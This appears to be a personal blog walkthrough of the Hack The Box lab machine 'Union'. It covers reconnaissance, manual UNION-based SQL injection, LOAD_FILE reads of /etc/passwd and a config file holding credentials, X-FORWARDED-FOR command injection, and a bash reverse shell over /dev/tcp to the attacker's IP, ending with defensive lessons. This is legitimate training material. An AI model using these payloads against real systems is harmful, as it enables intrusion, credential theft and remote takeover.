I took a much-needed break for the month of July, hence no post. I went about two years straight of posting monthly, so I was overdue for a break. Anyways, enough of that, let’s focus on some offensive security today.
In this post, I originally planned to focus on sqlmap, a powerful tool for automating SQL injection attacks. But since it’s been a while since I’ve done a full hacking walkthrough, I decided to take a different route. Instead of just talking about SQL injections, we’ll walk through Union, a medium-difficulty box on Hack The Box that blends SQL injection with manual analysis and privilege escalation. I won’t go through all the questions on the box, but I’ll cover the main two flags. The rest should fall in place for you by following along.
Official Box Description
Union is a medium-difficulty Linux machine featuring a web application that is vulnerable to SQL Injection. There are filters in place which prevent sqlmap from dumping the database. Users are intended to manually craft union statements to extract information from the database and website source code. The database contains a flag that can be used to authenticate against the machine and upon authentication the webserver runs an iptables
command to enable port 22. The credentials for SSH
are in the PHP
configuration file used to authenticate against MySQL. Once on the machine, users can examine the source code of the web application and find out by setting the X-FORWARDED-FOR
header, they can perform command injection on the system command used by the webserver to whitelist IP addresses.
Reconnaissance
We start our recon with a nmap
scan like so:
sudo nmap -sC -sV -oA union 10.129.96.75
-sC
– Runs the default set of NSE scripts (like checking for common vulnerabilities, SSL certs, HTTP info, etc.).
-sV
– Enables version detection, which attempts to determine the version of the services running on each port.
-oA union
– Saves the output in all three formats: .nmap (normal), .gnmap (grepable), and .xml (XML) under the base filename union.
This gives us the following output:
# Nmap 7.94SVN scan initiated Thu Jul 31 18:14:39 2025 as: nmap -sC -sV -oA union 10.129.96.75
Nmap scan report for 10.129.96.75
Host is up (0.0091s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 31 18:14:55 2025 -- 1 IP address (1 host up) scanned in 15.66 seconds
Navigating to the page directly gives us a player eligibility check with an text input box.

Entering some information reveals a challenge link.

This loads a flag input page. Submitting random values such as test
returned no match.

Since entering a flag returns nothing, so let’s pivot to gobuster
for some enumeration.
We can run the following scan and get some more information on our target:
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x php -o gobuster.out -u http://10.129.96.75
Results:
===============================================================
Gobuster v3.6
===============================================================
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.129.96.75
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 162]
/css (Status: 301) [Size: 178] [--> http://10.129.96.75/css/]
/index.php (Status: 200) [Size: 1220]
/.htm (Status: 403) [Size: 162]
/config.php (Status: 200) [Size: 0]
/. (Status: 200) [Size: 1220]
/.htaccess (Status: 403) [Size: 162]
/.htc (Status: 403) [Size: 162]
/challenge.php (Status: 200) [Size: 772]
/.html_var_DE (Status: 403) [Size: 162]
/.htpasswd (Status: 403) [Size: 162]
/.html. (Status: 403) [Size: 162]/.html.html (Status: 403) [Size: 162]
/.htpasswds (Status: 403) [Size: 162]
/.htm. (Status: 403) [Size: 162]
/.htmll (Status: 403) [Size: 162]
/.html.old (Status: 403) [Size: 162]
/firewall.php (Status: 200) [Size: 13]
/.ht (Status: 403) [Size: 162]
/.html.bak (Status: 403) [Size: 162]
/.htm.htm (Status: 403) [Size: 162]
/.hta (Status: 403) [Size: 162]
/.htgroup (Status: 403) [Size: 162]
/.html1 (Status: 403) [Size: 162]
/.html.printable (Status: 403) [Size: 162]
/.html.LCK (Status: 403) [Size: 162]
/.htm.LCK (Status: 403) [Size: 162]
/.htaccess.bak (Status: 403) [Size: 162]/.htmls (Status: 403) [Size: 162]
/.htx (Status: 403) [Size: 162]
/.htlm (Status: 403) [Size: 162]
/.htuser (Status: 403) [Size: 162]
/.htm2 (Status: 403) [Size: 162]
/.html- (Status: 403) [Size: 162]
Progress: 86014 / 86016 (100.00%)
===============================================================
Finished
===============================================================
Exploitation
Now that we have some information on our directory structure, we have something to play with in Burp. For now if we try to enter text again in the Player Eligibility Checker we can capture the request and see what else we can do with it. Here I entered “test” as I did before, but now I wanted to try something else to test the response.

As you can see both “test” and “other” aren’t present in this database and thus returning a response granting us an opportunity to compete in the challenge.
Now we can try to input some SQL queries to test our response see if we get any interaction with the database.
Let’s change our player to the following statement followed by a comment:
player='+UNION+SELECT+1#
Our results show:
Sorry, 1 you are not eligible due to already qualifying.
This is a strong indicator of SQL injection. The important detail is that the database accepted our injected UNION SELECT
statement and returned the literal value 1 into the application’s response. While it doesn’t echo our entire query, it confirms that we are successfully interacting with the underlying database and controlling at least part of the output.
Ok, let’s try another statement, this time we will query the user
function:
Statement:
player='+UNION+SELECT+user()#
Response:
Sorry, uhc@localhost you are not eligible due to already qualifying.

This confirms the injected UNION SELECT
was executed and the result of the user()
function was returned in the page. The string uhc@localhost
is the MySQL account the database is running as (user@host
), which gives us useful context about privileges and environment. This also yields a different response because the injected user()
value (uhc@localhost
) was returned and treated as the ‘player’, the application therefore reports that this player has already qualified.
Now that we know the service account user name, let’s find out what database schema is.
Statement:
player='+UNION+SELECT+database()#
Response:
Sorry, november you are not eligible due to already qualifying.

After executing the database()
function the server returned the schema name november
. With the schema name in-hand, we can now craft a query that will reveal some more information on the contents of this database.
Statement:
player='+UNION+SELECT+GROUP_CONCAT(TABLE_NAME)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA="november"#
Response:
Sorry, flag,players you are not eligible due to already qualifying.

As we can see in the response, there is a “flag
” and “players
” table.
If we try to query the flag
table for the column name we get the following results:
Statement:
player='+UNION+SELECT+GROUP_CONCAT(COLUMN_NAME)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME="flag"#
Response:
Sorry, one you are not eligible due to already qualifying.

With our column name on hand, we can now query using our column name focusing on the flag itself.
Statement:
player='+UNION+SELECT+GROUP_CONCAT(one)+FROM+flag#
Response:
Sorry, UHC{F1rst_5tep_2_Qualify} you are not eligible due to already qualifying.

We can now enter this as our first flag back on the original page we loaded. This reveals that we are now granted SSH access!

Running nmap
again reveals that port 22 is now open as well. This opens up a new attack vector.
We can now try to see if we can load any files here. Let’s start by targeting /etc/passwd
to verify we can access high privilege directories.
Statement:
player='+UNION+SELECT+LOAD_FILE("/etc/passwd")#
Response:
Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinhtb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash
you are not eligible due to already qualifying.
And there we go, access confirmed! Now looking back at our gobuster results, we notice a config.php
page that returned a 200 response. We can now craft a query to target this page, which by default should live in /var/www/html/config.php
.
Statement:
player='+UNION+SELECT+LOAD_FILE("/var/www/html/config.php")#
Response:
Sorry, <?php
session_start();
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
$conn = new mysqli($servername, $username, $password, $dbname);
?>you are not eligible due to already qualifying.

Now we have the credentials need to gain access into the box with the uhc
service account. Let’s go ahead and do that and submit our user flag.

Now that this flag is complete, let’s escalate our privileges and get this wrapped up. As mentioned before I am only focusing on the flags on this box, the rest of the questions can be revealed by just following along. If you recall the firewall.php
source there is a HTTP header that can be abused for injection, X-FORWARDED-FOR
. Knowing this let’s try to inject our PHP session cookie using this header.
We can run the following command to probe for RCE:
curl -X GET -H 'X-FORWARDED-FOR: ; whoami;' --cookie "PHPSESSID=2cepfdm9ov0hmduu670kr3bli3" 'http://10.129.96.75/firewall.php'

Here we are using a GET
request for the X-FOWARDED-FOR
header and testing RCE. We see by running whoami
we are getting output: www-data
. This is RCE confirmation and we can proceed with the reverse shell.
Setting up our reverse shell, qe can run the following in a terminal:
curl -X GET -H 'X-FORWARDED-FOR: ; bash -c "bash -i >& /dev/tcp/10.10.14.246/4444 0>&1";' --cookie "PHPSESSID=2cepfdm9ov0hmduu670kr3bli3" 'http://10.129.96.75/firewall.php'

This can be done in Burp as well by adding the X-FORWARDED-FOR
in the request, but I wanted to try something a little different.
By running sudo -
l we can confirm that we may run any sudo
command and thus able to escalate our privileges beyond www-data
.
Onto the root flag!

Union pwned!
Conclusion
The Union box shows how a seemingly small vulnerability, even in something as innocuous as a “player name” parameter, can unravel an entire system when developers don’t validate input across every layer. Starting from SQL injection, we targeted function queries to map out the schema and tables, pulled sensitive files, obtained credentials, gained SSH access, and finally leveraged a careless sudo iptables
wrapper via the X-FORWARDED-FOR
header to achieve full root compromise.
Along the way we saw a few recurring lessons:
- Never trust user input, even headers or metadata many assume “safe.”
- Escape or validate every parameter used in shell commands.
- Minimize sudo privileges assigned to web services, never give blanket
NOPASSWD
to a web user if it can be avoided.
In short: layered defenses matter. One vulnerability might not get you root, but a chain of small oversights can. I hope this walkthrough helps you think about how to lock down web applications at every layer. If you carry forward proper defensive habits into your own projects, you’ll close many common paths before an attacker can exploit them.
Well, I hope you enjoyed this one. I think I will continue doing more of these more frequently. Until next time!